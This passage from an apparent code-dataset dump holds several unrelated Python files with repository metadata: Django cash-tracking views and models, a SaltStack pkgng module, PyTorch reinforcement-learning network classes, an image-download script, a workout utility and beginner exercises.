CashDecrements(JSONQueryView):\n model = CashDecrement\n\nclass CashTracker(View):\n\n def get(self, request, *args, **kwargs):\n if request.GET:\n b = request.GET['b']\n e = request.GET['e']\n p = request.GET['p']\n data = {}\n data['summary'] = self.process_summary(request,b,e,p)\n gdat = self.process_graph(request,b,e,p)\n # raise Exception(\"Break\")\n prepare_changes_data(gdat['inc'])\n data['inc'] = gdat['inc']\n prepare_changes_data(gdat['dec'])\n data['dec'] = gdat['dec']\n data['chart'] = gdat['chart']\n data['status'] = True\n else:\n data = {'status':False}\n return JsonResponse(data)\n\n def post(self, request, *args, **kwargs):\n if request.POST:\n b = request.POST['b']\n e = request.POST['e']\n p = request.POST['p']\n data = {}\n data['summary'] = self.process_summary(request,b,e,p)\n gdat = self.process_graph(request,b,e,p)\n prepare_changes_data(gdat['inc'])\n data['inc'] = gdat['inc']\n prepare_changes_data(gdat['dec'])\n data['dec'] = gdat['dec']\n data['chart'] = gdat['chart']\n data['status'] = True\n else:\n data = {'status':False}\n return JsonResponse(data)\n\n def process_summary(self,request,b,e,p):\n\n if p=='all':\n inc = CashIncrement.objects.filter(timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n dec = CashDecrement.objects.filter(timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n end = Cash.objects.all().aggregate(total=Sum('balance'))\n today = str(datetime.datetime.today().date())\n if today > e:\n today = str((datetime.datetime.today()+datetime.timedelta(days=1)).date())\n today_end_inc = CashIncrement.objects.filter(timestamp__range=(e,today)).aggregate(total=Sum('amount'))\n today_end_dec = CashDecrement.objects.filter(timestamp__range=(e,today)).aggregate(total=Sum('amount'))\n else:\n today_end_inc = {'total':None}\n today_end_dec = {'total':None}\n else:\n inc = CashIncrement.objects.filter(timestamp__range=(b,e),cash_id=p).aggregate(total=Sum('amount'))\n dec = CashDecrement.objects.filter(timestamp__range=(b,e),cash_id=p).aggregate(total=Sum('amount'))\n end = Cash.objects.filter(pk=p).aggregate(total=Sum('balance'))\n today = str(datetime.datetime.today().date())\n if today > e:\n today = str((datetime.datetime.today()+datetime.timedelta(days=1)).date())\n today_end_inc = CashIncrement.objects.filter(timestamp__range=(e,today),cash_id=p).aggregate(total=Sum('amount'))\n today_end_dec = CashDecrement.objects.filter(timestamp__range=(e,today),cash_id=p).aggregate(total=Sum('amount'))\n else:\n today_end_inc = {'total':None}\n today_end_dec = {'total':None}\n\n inc['total'] = inc['total'] if inc['total'] is not None else 0\n dec['total'] = dec['total'] if dec['total'] is not None else 0\n end['total'] = end['total'] if end['total'] is not None else 0\n today_end_inc['total'] = today_end_inc['total'] if today_end_inc['total'] is not None else 0\n today_end_dec['total'] = today_end_dec['total'] if today_end_dec['total'] is not None else 0\n end['total']=end['total']-today_end_inc['total']+today_end_dec['total']\n start = end['total'] - inc['total'] + dec['total']\n\n data = [\n {'id':1,'a':start,'b':'','c':'','desc':'Cash on hand at the beginning of the period'},\n {'id':2,'a':inc['total'],'b':'','c':'','desc':'Add all increments in cash'},\n {'id':3,'a':'','b':start+inc['total'],'c':'','desc':''},\n {'id':4,'a':'','b':dec['total'],'c':'','desc':'Subtract all decrements in cash'},\n {'id':5,'a':'','b':'','c':end['total'],'desc':'Cash on hand at the end of the period'},\n ]\n\n return data\n\n def process_graph(self,request,b,e,p):\n \n if p=='all':\n tinc = CashIncrement.objects.filter(timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n tdec = CashDecrement.objects.filter(timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n inc = list(CashIncrement.objects.filter(timestamp__range=(b,e)).order_by('-timestamp').values())\n dec = list(CashDecrement.objects.filter(timestamp__range=(b,e)).order_by('-timestamp').values())\n end = Cash.objects.all().aggregate(total=Sum('balance'))\n today = str(datetime.datetime.today().date())\n if today > e:\n today = str((datetime.datetime.today()+datetime.timedelta(days=1)).date())\n today_end_inc = CashIncrement.objects.filter(timestamp__range=(e,today)).aggregate(total=Sum('amount'))\n today_end_dec = CashDecrement.objects.filter(timestamp__range=(e,today)).aggregate(total=Sum('amount'))\n else:\n today_end_inc = {'total':None}\n today_end_dec = {'total':None}\n else:\n tinc = CashIncrement.objects.filter(timestamp__range=(b,e),cash_id=p).aggregate(total=Sum('amount'))\n tdec = CashDecrement.objects.filter(timestamp__range=(b,e),cash_id=p).aggregate(total=Sum('amount'))\n inc = list(CashIncrement.objects.filter(timestamp__range=(b,e),cash_id=p).order_by('-timestamp').values())\n dec = list(CashDecrement.objects.filter(timestamp__range=(b,e),cash_id=p).order_by('-timestamp').values())\n end = Cash.objects.filter(pk=p).aggregate(total=Sum('balance'))\n today = str(datetime.datetime.today().date())\n if today > e:\n today = str((datetime.datetime.today()+datetime.timedelta(days=1)).date())\n today_end_inc = CashIncrement.objects.filter(timestamp__range=(e,today),cash_id=p).aggregate(total=Sum('amount'))\n today_end_dec = CashDecrement.objects.filter(timestamp__range=(e,today),cash_id=p).aggregate(total=Sum('amount'))\n else:\n today_end_inc = {'total':None}\n today_end_dec = {'total':None}\n\n tinc['total'] = tinc['total'] if tinc['total'] is not None else 0\n tdec['total'] = tdec['total'] if tdec['total'] is not None else 0\n end['total'] = end['total'] if end['total'] is not None else 0\n today_end_inc['total'] = today_end_inc['total'] if today_end_inc['total'] is not None else 0\n today_end_dec['total'] = today_end_dec['total'] if today_end_dec['total'] is not None else 0\n end['total']=end['total']-today_end_inc['total']+today_end_dec['total']\n start = end['total'] - tinc['total'] + tdec['total']\n dinc = group_by_day(inc,'inc')\n ddec = group_by_day(dec,'dec')\n bdi = dinc\n bdi.extend(ddec)\n bdi.sort(key=sort_time)\n idb = historate_cash(start,bdi)\n data = {'inc':inc,'dec':dec,'chart':idb}\n return data\n # Get increment and decremet for each day\n\nclass CashSummaryTracker(View):\n\n def get(self, request, *args, **kwargs):\n if request.GET:\n b = request.GET['b']\n e = request.GET['e']\n data = {}\n data['summary'] = self.process_summary(request,b,e)\n data['status'] = True\n else:\n data = {'status':False}\n return JsonResponse(data)\n\n def post(self, request, *args, **kwargs):\n if request.POST:\n b = request.POST['b']\n e = request.POST['e']\n data = {}\n data['summary'] = self.process_summary(request,b,e)\n data['status'] = True\n else:\n data = {'status':False}\n return JsonResponse(data)\n\n def process_summary(self,request,b,e):\n \n prod = Cash.objects.all()\n data = []\n for pro in prod:\n inc = pro.cashincrement_set.filter(timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n purch = pro.cashdecrement_set.filter(content_type__model=\"cashpurchase\",timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n pr = pro.cashincrement_set.filter(content_type__model=\"cashpurchasereturn\",timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n sr = pro.cashdecrement_set.filter(content_type__model=\"cashsalesreturn\",timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n dec = pro.cashdecrement_set.filter(timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n sales = pro.cashincrement_set.filter(content_type__model=\"cashsale\",timestamp__range=(b,e)).aggregate(total=Sum('amount'))\n end = pro.balance\n today = str(datetime.datetime.today().date())\n if today > e:\n today = str((datetime.datetime.today()+datetime.timedelta(days=1)).date())\n today_end_inc = pro.cashincrement_set.filter(timestamp__range=(b,today)).aggregate(total=Sum('amount'))\n today_end_dec = pro.cashdecrement_set.filter(timestamp__range=(b,today)).aggregate(total=Sum('amount'))\n else:\n today_end_inc = {'total':None}\n today_end_dec = {'total':None}\n\n today_end_inc['total'] = today_end_inc['total'] if today_end_inc['total'] is not None else 0\n today_end_dec['total'] = today_end_dec['total'] if today_end_dec['total'] is not None else 0\n end=end-today_end_inc['total']+today_end_dec['total']\n\n inc['total'] = inc['total'] if inc['total'] is not None else 0\n dec['total'] = dec['total'] if dec['total'] is not None else 0\n purch['total'] = purch['total'] if purch['total'] is not None else 0\n pr['total'] = pr['total'] if pr['total'] is not None else 0\n sr['total'] = sr['total'] if sr['total'] is not None else 0\n sales['total'] = sales['total'] if sales['total'] is not None else 0\n initial = end - inc['total'] + dec['total']\n data.append({\n 'system':pro.system+\" ~ \"+pro.currency,\n 'init':initial,\n 'inc':inc['total'],\n 'purchases':purch['total'],\n 'pr':pr['total'],\n 'sr':sr['total'],\n 'dec':dec['total'],\n 'sales':sales['total'],\n 'end':end\n })\n end = Cash.objects.all().aggregate(total=Sum('balance'))\n return data\n","repo_name":"baahkusi/caretaker","sub_path":"cash/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12989,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"29617382887","text":"import os\nimport sys\n\nif __package__ == \"\" or __name__ == \"__main__\":\n sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom app.libs.file import urldownload\n\nfile_dir = \"./app/static/images/book/\"\ndir_list = os.listdir(file_dir)\nheaders = {\n \"referer\": \"http://127.0.0.1:5000/\",\n \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.175\",\n}\nfor cur_file in dir_list:\n # 获取文件的绝对路径\n path = os.path.join(file_dir, cur_file)\n abspath=os.path.abspath(path)\n if os.path.isfile(abspath):\n print(abspath)\n file_name = str.split(path, \"/\")[-1]\n urldownload(\"https://img3.doubanio.com/lpic/\" + file_name, abspath, headers)\n\n","repo_name":"yancey92/fisher","sub_path":"test/test_file.py","file_name":"test_file.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13323264626","text":"'''\nSupport for pkgng\n'''\n\nimport os \n\ndef __virtual__():\n '''\n Pkgng module load on FreeBSD only.\n '''\n if __grains__['os'] == 'FreeBSD':\n return 'pkgng'\n else:\n return False\n\n\ndef parse_config(file_name='/usr/local/etc/pkg.conf'):\n '''\n Return dict of uncommented global variables.\n\n CLI Example::\n\n salt '*' pkgng.parse_config\n *NOTE* not working right\n '''\n ret = {}\n l = []\n if not os.path.isfile(file_name):\n return 'Unable to find {0} on file system'.format(file_name)\n\n with open(file_name) as f:\n for line in f.readlines():\n if line.startswith(\"#\") or line.startswith(\"\\n\"):\n pass\n else:\n k, v = line.split('\\t')\n ret[k] = v\n l.append(line)\n ret['config_file'] = file_name\n return ret\n\n\ndef version():\n '''return the version of pkgng'''\n cmd = 'pkg -v'\n return __salt__['cmd.run'](cmd)\n\n\ndef update_package_site(new_url):\n '''\n Updates remote package repo url, PACKAGESITE var to be exact.\n\n Must be using http://, ftp://, or https// protos\n\n CLI Example::\n salt '*' pkgng.update_package_site http://127.0.0.1/\n '''\n config_file = parse_config()['config_file']\n __salt__['file.sed'](config_file,'PACKAGESITE.*', \\\n 'PACKAGESITE\\t : {0}'.format(new_url))\n\n # add change return later\n return True\n\n\ndef stats():\n '''\n Return pkgng stats.\n\n CLI Example::\n salt '*' pkgng.stats\n '''\n\n cmd = 'pkg stats'\n res = __salt__['cmd.run'](cmd)\n res = [ x.strip(\"\\t\") for x in res.split(\"\\n\") ]\n return res\n\n\ndef backup(file_name):\n '''\n Export installed packages into yaml+mtree file\n\n CLI Example::\n salt '*' pkgng.backup /tmp/pkg\n '''\n cmd = 'pkg backup -d {0}'.format(file_name)\n res = __salt__['cmd.run'](cmd)\n return res.split('...')[1]\n\n\ndef restore(file_name):\n '''\n Reads archive created by pkg backup -d and recreates the database.\n '''\n cmd = 'pkg backup -r {0}'.format(file_name)\n res = __salt__['cmd.run'](cmd)\n return res\n\n\ndef add(pkg_path):\n '''\n Adds files from remote or local package\n\n CLI Example::\n salt '*' pkgng.add /tmp/package.txz\n '''\n if not os.path.isfile(pkg_path) or pkg_path.split(\".\")[1] != \"txz\":\n return '{0} could not be found or is not a *.txz \\\n format'.format(pkg_path)\n cmd = 'pkg add {0}'.format(pkg_path)\n res = __salt__['cmd.run'](cmd)\n return res\n\n\ndef info(pkg=None):\n '''\n Returns info on packages installed on system\n\n CLI Example::\n salt '*' pkgng.info\n\n For individual info\n\n salt '*' pkgng.info sudo\n '''\n if pkg:\n cmd = 'pkg info {0}'.format(pkg)\n else:\n cmd = 'pkg info'\n\n res = __salt__['cmd.run'](cmd)\n\n if not pkg:\n res = res.split('\\n')\n\n return res\n","repo_name":"autumnw/saltswift","sub_path":"salt/salt/modules/pkgng.py","file_name":"pkgng.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41208006469","text":"import numpy as np\nimport torch\n\nfrom Experiment_Engine.networks import TwoLayerFullyConnected, weight_init\nfrom Experiment_Engine.util import *\n\nclass NeuralNetworkFunctionApproximation:\n \"\"\" Parent class for all the neural networks \"\"\"\n def __init__(self, config, gates, summary=None):\n \"\"\"\n Parameters in config:\n Name: Type: Default: Description: (Omitted when self-explanatory)\n num_actions int 3 Number of actions available to the agent\n gamma float 1.0 discount factor\n epsilon float 0.1 exploration parameter\n state_dims int 2 number of dimensions of the environment's states\n optim str 'sgd' optimization method. Choices: 'sgd', 'adam',\n 'rmsprop'\n lr float 0.001 learning rate\n store_summary bool False store the summary of the agent\n (cumulative_loss_per_episode)\n \"\"\"\n assert isinstance(config, Config)\n self.num_actions = check_attribute_else_default(config, 'num_actions', 3)\n self.gamma = check_attribute_else_default(config, 'gamma', 1.0)\n self.epsilon = check_attribute_else_default(config, 'epsilon', 0.1)\n self.state_dims = check_attribute_else_default(config, 'state_dims', 2)\n self.optim = check_attribute_else_default(config, 'optim', 'sgd', choices=['sgd', 'adam', 'rmsprop'])\n self.lr = check_attribute_else_default(config, 'lr', 0.001)\n self.store_summary = check_attribute_else_default(config, 'store_summary', False)\n if self.store_summary:\n assert isinstance(summary, dict)\n self.summary = summary\n check_dict_else_default(self.summary, 'cumulative_loss_per_episode', [])\n\n self.h1_dims = 32\n self.h2_dims = 256\n self.cumulative_loss = 0\n self.net = TwoLayerFullyConnected(self.state_dims, h1_dims=self.h1_dims, h2_dims=self.h2_dims,\n output_dims=self.num_actions, gates=gates)\n self.net.apply(weight_init)\n\n if self.optim == 'sgd': self.optimizer = torch.optim.SGD(self.net.parameters(), lr=self.lr)\n elif self.optim == 'adam': self.optimizer = torch.optim.Adam(self.net.parameters(), lr=self.lr)\n elif self.optim == 'rmsprop': self.optimizer = torch.optim.RMSprop(self.net.parameters(), lr=self.lr)\n\n def compute_return(self, reward, state, action, termination):\n # Computes the Sarsa(0) return. It assumes reward, action, and termination are all a single number.\n with torch.no_grad():\n av_function = self.net.forward(state)[action]\n next_step_bool = (1 - int(termination))\n sarsa_zero_return = reward + next_step_bool * self.gamma * av_function\n return sarsa_zero_return\n\n def choose_action(self, state):\n p = np.random.rand()\n if p > self.epsilon:\n with torch.no_grad():\n optim_action = self.net.forward(state).argmax().numpy()\n return np.int64(optim_action)\n else:\n return np.random.randint(self.num_actions)\n\n def save_summary(self):\n if not self.store_summary:\n return\n self.summary['cumulative_loss_per_episode'].append(self.cumulative_loss)\n self.cumulative_loss = 0\n\n\nclass VanillaNeuralNetwork(NeuralNetworkFunctionApproximation):\n \"\"\"\n Vanilla neural network with the option of selecting gate functions and applying l1 or l2 regularization to all the\n parameters of the network.\n \"\"\"\n def __init__(self, config, summary=None):\n \"\"\"\n Parameters in config:\n Name: Type: Default: Description: (Omitted when self-explanatory)\n gates str relu-relu types of gates for the network\n reg_factor float 0.1 factor for the regularization method\n reg_method string 'none' regularization method. Choices: 'none', 'l1', 'l2'\n \"\"\"\n self.gates = check_attribute_else_default(config, 'gates', 'relu-relu')\n super(VanillaNeuralNetwork, self).__init__(config, gates=self.gates, summary=summary)\n self.reg_factor = check_attribute_else_default(config, 'reg_factor', 0.1)\n self.reg_method = check_attribute_else_default(config, 'reg_method', 'none',\n choices=['none', 'l1', 'l2'])\n if self.reg_method == 'l1':\n self.reg_function = torch.abs\n elif self.reg_method == 'l2':\n self.reg_function = lambda z: torch.pow(z, 2)\n\n def update(self, state, action, reward, next_state, next_action, termination):\n # Performs an update to the parameters of the nn. It assumes action, reward, next_action, and termination are\n # a single number / boolean\n sarsa_zero_return = self.compute_return(reward, next_state, next_action, termination)\n self.optimizer.zero_grad()\n loss = (self.net(state)[action] - sarsa_zero_return) ** 2\n reg_loss = 0\n if self.reg_method != 'none':\n for name, param in self.net.named_parameters():\n reg_loss += torch.sum(self.reg_function(param))\n loss += self.reg_factor * reg_loss\n loss.backward()\n self.optimizer.step()\n if self.store_summary:\n self.cumulative_loss += loss.detach().numpy()\n\n\nclass RegPerLayerNeuralNetwork(NeuralNetworkFunctionApproximation):\n \"\"\"\n Neural network with regularization and the option of setting different regularization factors for\n the parameters of each layer\n \"\"\"\n def __init__(self, config, summary=None):\n \"\"\"\n Parameters in config:\n Name: Type: Default: Description: (Omitted when self-explanatory)\n reg_factor tuple (0.1, 0.1, 0.1) factor for the regularization method per layer\n reg_method string 'none' regularization method. Choices: 'none', 'l1', 'l2'\n \"\"\"\n super(RegPerLayerNeuralNetwork, self).__init__(config, gates='relu-relu', summary=summary)\n self.reg_factor = check_attribute_else_default(config, 'reg_factor', (0.1, 0.1, 0.1))\n self.reg_method = check_attribute_else_default(config, 'reg_method', 'l1',\n choices=['l1', 'l2'])\n if self.reg_method == 'l1':\n self.reg_function = torch.abs\n else:\n self.reg_function = lambda z: torch.pow(z, 2)\n\n def update(self, state, action, reward, next_state, next_action, termination):\n # Performs an update to the parameters of the nn. It assumes action, reward, next_action, and termination are\n # a single number / boolean.\n sarsa_zero_return = self.compute_return(reward, next_state, next_action, termination)\n self.optimizer.zero_grad()\n loss = (self.net(state)[action] - sarsa_zero_return) ** 2\n reg_loss = 0\n for name, param in self.net.named_parameters():\n if '1' in name: # parameters of the first layer\n factor = self.reg_factor[0]\n elif '2' in name: # parameters of the second layer\n factor = self.reg_factor[1]\n else: # parameters of the output layer\n factor = self.reg_factor[2]\n reg_loss += factor * torch.sum(self.reg_function(param))\n loss += reg_loss\n loss.backward()\n self.optimizer.step()\n if self.store_summary:\n self.cumulative_loss += loss.detach().numpy()\n\n\nclass DistRegNeuralNetwork(NeuralNetworkFunctionApproximation):\n \"\"\"\n Neural network with distributional regularizers. This is the implementation of the ReLu + SKL network from:\n \"The Utility of Sparse Representations for Control in Reinforcement Learning\"\n - Vincent Liu, Raksha Kumaraswamy, Lei Le, and Martha White\n \"\"\"\n def __init__(self, config, summary=None):\n super(DistRegNeuralNetwork, self).__init__(config, gates='relu-relu', summary=summary)\n \"\"\"\n Parameters in config:\n Name: Type: Default: Description: (Omitted when self-explanatory)\n reg_factor float 0.1 \n beta float 0.1 average max activation\n ma_alpha float 0.1 decay rate parameter for the moving average\n use_gamma bool False whether to use a gamma distribution instead of beta\n \"\"\"\n self.reg_factor = check_attribute_else_default(config, 'reg_factor', 0.1)\n self.beta = check_attribute_else_default(config, 'beta', 0.1)\n self.ma_alpha = check_attribute_else_default(config, 'ma_alpha', 0.1)\n self.use_gamma = check_attribute_else_default(config, 'use_gamma', False)\n self.moving_average_layer1 = torch.zeros(self.h1_dims, dtype=torch.float32, requires_grad=False)\n self.moving_average_layer2 = torch.zeros(self.h2_dims, dtype=torch.float32, requires_grad=False)\n\n def update(self, state, action, reward, next_state, next_action, termination):\n # this function assumes action, reward, next_action, and termination are a single number / boolean.\n sarsa_zero_return = self.compute_return(reward, next_state, next_action, termination)\n self.optimizer.zero_grad()\n x1, x2, x3 = self.net.forward(state, return_activations=True)\n loss = (x3[action] - sarsa_zero_return) ** 2\n if self.use_gamma:\n layer1_average = x1.mean()\n layer2_average = x2.mean()\n kld_layer1 = self.kld(layer1_average)\n kld_layer2 = self.kld(layer2_average)\n loss += self.reg_factor * (kld_layer1 + kld_layer2)\n loss.backward()\n self.optimizer.step()\n else:\n layer1_moving_average = (1 - self.ma_alpha) * self.moving_average_layer1 + self.ma_alpha * x1\n layer2_moving_average = (1 - self.ma_alpha) * self.moving_average_layer2 + self.ma_alpha * x2\n kld_layer1 = self.kld(layer1_moving_average)\n kld_layer2 = self.kld(layer2_moving_average)\n loss += self.reg_factor * (kld_layer1 + kld_layer2)\n loss.backward()\n self.optimizer.step()\n self.moving_average_layer1 = (1 - self.ma_alpha) * self.moving_average_layer1 + self.ma_alpha * x1.detach()\n self.moving_average_layer2 = (1 - self.ma_alpha) * self.moving_average_layer2 + self.ma_alpha * x2.detach()\n if self.store_summary:\n self.cumulative_loss += loss.detach().numpy()\n\n def kld_derivative(self, beta_hats):\n # Note: you can use either kld_derivative or kld. Both results in the same gradient.\n positive_beta_hats = beta_hats[beta_hats > self.beta]\n first_term = 1 / positive_beta_hats\n second_term = torch.pow(first_term, 2) * self.beta\n kld_derivative = torch.sum((first_term - second_term))\n return kld_derivative\n\n def kld(self, beta_hats):\n positive_beta_hats = beta_hats[beta_hats > self.beta]\n # the original kl divergence is: log(beta_hat) + (beta / beta_hat) - log(beta) - 1\n # however, since beta doesn't depend on the parameters of the network, omitting the term -log(beta) - 1 doesn't\n # have any effect on the gradient.\n return torch.sum(torch.log(positive_beta_hats) + (self.beta / positive_beta_hats))\n\n\nclass ReplayBufferNeuralNetwork(NeuralNetworkFunctionApproximation):\n\n def __init__(self, config, summary=None):\n \"\"\"\n Parameters in config:\n Name: Type: Default: Description: (Omitted when self-explanatory)\n gates str relu-relu types of gates for the network\n batch_size int 32 minibatch size\n training_step_count int 0 number of training steps so far\n tnet_update_freq int 10 the update frequency of the target network\n \"\"\"\n assert isinstance(config, Config)\n self.config = config\n self.gates = check_attribute_else_default(self.config, 'gates', 'relu-relu')\n super(ReplayBufferNeuralNetwork, self).__init__(config, self.gates, summary)\n self.batch_size = check_attribute_else_default(config, 'batch_size', 32)\n self.training_step_count = check_attribute_else_default(config, 'training_step_count', 0)\n self.tnet_update_freq = check_attribute_else_default(config, 'tnet_update_freq', 10)\n self.replay_buffer = ReplayBuffer(config)\n self.target_net = TwoLayerFullyConnected(self.state_dims, h1_dims=self.h1_dims, h2_dims=self.h2_dims,\n output_dims=self.num_actions, gates=self.gates)\n self.target_net.apply(weight_init)\n\n def update(self, state, action, reward, next_state, next_action, termination):\n self.replay_buffer.store_transition(transition=(state, action, reward, next_state, next_action, termination))\n\n if self.replay_buffer.length < self.batch_size:\n return\n\n self.training_step_count += 1\n state, action, reward, next_state, next_action, termination = self.replay_buffer.sample(self.batch_size)\n qlearning_return = self.compute_return(reward, next_state, next_action, termination)\n self.optimizer.zero_grad()\n prediction = torch.squeeze(self.net(state).gather(1, torch.from_numpy(action).view(-1,1)))\n loss = (prediction - qlearning_return).pow(2).mean()\n loss.backward()\n self.optimizer.step()\n\n if self.store_summary:\n self.cumulative_loss += loss.detach().numpy()\n if (self.training_step_count % self.tnet_update_freq) == 0:\n self.target_net.load_state_dict(self.net.state_dict())\n\n def compute_return(self, reward, state, action, termination):\n with torch.no_grad():\n # av_function = torch.squeeze(self.target_net.forward(state).gather(1, torch.from_numpy(action).view(-1,1)))\n av_function = torch.max(self.target_net.forward(state), dim=1)[0]\n next_step_bool = torch.from_numpy((1 - np.int64(termination))).float()\n sarsa_zero_return = torch.from_numpy(reward).float() + next_step_bool * self.gamma * av_function\n return sarsa_zero_return\n\n\nclass ReplayBuffer:\n\n def __init__(self, config):\n \"\"\"\n Parameters in config:\n Name: Type: Default: Description: (Omitted when self-explanatory)\n state_dims int 2 number of dimensions of the environment's state\n buffer_size int 100 size of the buffer\n \"\"\"\n self.state_dims = check_attribute_else_default(config, 'state_dims', 2)\n self.buffer_size = check_attribute_else_default(config, 'buffer_size', 100)\n\n \"\"\" inner state \"\"\"\n self.start = 0\n self.length = 0\n\n self.state = np.empty((self.buffer_size, self.state_dims), dtype=np.float64)\n self.action = np.empty(self.buffer_size, dtype=int)\n self.reward = np.empty(self.buffer_size, dtype=np.float64)\n self.next_state = np.empty((self.buffer_size, self.state_dims), dtype=np.float64)\n self.next_action = np.empty(self.buffer_size, dtype=int)\n self.termination = np.empty(self.buffer_size, dtype=bool)\n\n def __getitem__(self, idx):\n if isinstance(idx, int):\n if idx < 0 or idx >= self.length:\n raise KeyError()\n elif isinstance(idx, np.ndarray):\n if (idx < 0).any() or (idx >= self.length).any():\n raise KeyError()\n shifted_idx = self.start + idx\n s = self.state.take(shifted_idx, axis=0, mode='wrap')\n a = self.action.take(shifted_idx, axis=0, mode='wrap')\n r = self.reward.take(shifted_idx, axis=0, mode='wrap')\n next_s = self.next_state.take(shifted_idx, axis=0, mode='wrap')\n next_a = self.next_action.take(shifted_idx, axis=0, mode='wrap')\n terminate = self.termination.take(shifted_idx, axis=0, mode='wrap')\n return s, a, r, next_s, next_a, terminate\n\n def store_transition(self, transition):\n if self.length < self.buffer_size:\n self.length += 1\n elif self.length == self.buffer_size:\n self.start = (self.start + 1) % self.buffer_size\n else:\n raise RuntimeError()\n\n storing_idx = (self.start + self.length - 1) % self.buffer_size\n state, action, reward, next_state, next_action, termination = transition\n self.state[storing_idx] = state\n self.action[storing_idx] = action\n self.reward[storing_idx] = reward\n self.next_state[storing_idx] = next_state\n self.next_action[storing_idx] = next_action\n self.termination[storing_idx] = termination\n\n def sample(self, sample_size):\n if sample_size > self.length or sample_size > self.buffer_size:\n raise ValueError(\"The sample size is to large.\")\n sampled_idx = np.random.randint(0, self.length, sample_size)\n return self.__getitem__(sampled_idx)\n","repo_name":"JFernando4/Online_SparseRepresentations","sub_path":"Experiment_Engine/function_approximators.py","file_name":"function_approximators.py","file_ext":"py","file_size_in_byte":17971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38246945837","text":"import datetime\nimport calendar\nimport json\n\n# File contains functions that are used within my other main functions\n\n\ndef week():\n week_data = {\n \"Monday\": 0,\n \"Tuesday\": 0,\n \"Wednesday\": 0,\n \"Thursday\": 0,\n \"Friday\": 0,\n \"Saturday\": 0,\n \"Sunday\": 0,\n }\n return week_data\n\n\ndef get_day():\n \"\"\"\n Function returns current day of the week, zero-indexed\n 0-6\n \"\"\"\n # Get current date and time.\n now = datetime.datetime.now()\n\n # Use datetime now, in calendar.weekday func to get day as 0 index.\n day_of_week = calendar.weekday(now.year, now.month, now.day)\n print(day_of_week)\n return int(day_of_week)\n\n\ndef write_data(week_number, data):\n \"\"\"\n Function will write data to specified week number\n \"\"\"\n with open(f\"user_details/weigh_in/week_{week_number}.json\", \"w\") as file:\n json.dump(data, file, indent=4)\n\n\n# Will open file replace this in other areas later\ndef open_week(week_number):\n \"\"\"\n Function will open specified week number\n \"\"\"\n with open(f\"user_details/weigh_in/week_{week_number}.json\") as file:\n data = json.load(file)\n return data\n","repo_name":"0xlvl3/oh-my-workout","sub_path":"files/utility_funcs.py","file_name":"utility_funcs.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17988639143","text":"from django.db import models\n\nfrom datetime import datetime as date\n\n# Create your models here.\n\n\nclass Patient(models.Model):\n first_name = models.CharField(default=\"\",max_length=20);\n last_name = models.CharField(default=\"\",max_length=20);\n doctor = models.PositiveIntegerField(default=-1);\n gender = models.CharField(default=\"Male\",max_length=60);\n date_of_birth = models.CharField(default=str(date.now()), max_length= 10);\n chart_id = models.IntegerField(default=-1);\n id = models.IntegerField(max_length=12,primary_key=True);\n\n\n# python manage.py makemigrations\n# python manage.py migrate\n\nclass User(models.Model):\n user_name = models.CharField(max_length=20);\n access_token = models.CharField(max_length=100);","repo_name":"mohanmb91/DrChronoBirthDayApp","sub_path":"drchrono/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25386768686","text":"# Aylon Ben Dvora class 8a\nprint (\"Aylon Ben Dvora\")\n\n\n# ex1\nprint (\"ex1 \\nwith elif\")\n\n# ask the user for an input of a year variable\nyear_elif = int(input(\"Please enter a year: \"))\n\n# if the year is a leap year the system prints that it is a leap year\nif (year_elif % 4 == 0 and year_elif % 100 != 0):\n print (f\"{year_elif} is a leap year\")\nelif (year_elif % 400 == 0):\n print (f\"{year_elif} is a leap year\")\n\n# if not the system prints it dose not a leap year\nelse:\n print (f\"{year_elif} isn't a leap year\")\n\nprint (\"ex1 \\nwithout elif\")\n\n# ask the user for an input of a year variable\nyear_noElif = int(input(\"Please enter a year: \"))\n\n# if the year is a leap year the system prints that it is a leap year\nif ((year_noElif % 4 == 0 and year_noElif % 100 != 0) or (year_noElif % 400 == 0)):\n print (f\"{year_noElif} is a leap year\")\n\n# if not the system prints it dose not a leap year\nelse:\n print (f\"{year_noElif} isn't a leap year\")\n\n\n\"\"\"\nused inputs ex1 (both)\n1900\n2000\n2100\n2016\n1998\n3456\n2333\n\"\"\"\n# ex2\nprint (\"ex2\")\n# ask the user for his age\nage = int(input(\"Please enter your year of birth: \"))\nage = 2020 - age\n# if his age is below 120 and grader then 18 the system prints out that he can vote for the kneset\n# and if his age is below 120 and below 18 the the system prints out how much more years he need to wait before he can vote\nif age >= 120:\n print (\"Your age is above 120 ?!?!?!\")\nelif age >= 18:\n print (f\"Your age is {age} , Oh your age is above 18 you can vote for the kneset\")\nelse:\n print (f\"Your age is {age}, unfortunately You need\", (age-18)*(-1),\"more years to vote for the kneset\")\n\"\"\"\nused inputs ex2\n1900\n1990\n2007\n1996\n\"\"\"\n\n# ex3\n\n# ask the user for the number of times he want to go to the pool this year\nentryNum = int(input(\"Please enter the number of time you want to go to the pool this year: \"))\n\n# the system prints out what subscription is better for the user\nif (200 + 45 * entryNum) < (400 + 30 * entryNum):\n print (\"The best subscription for you is The first subscription\")\nelse:\n print (\"The best 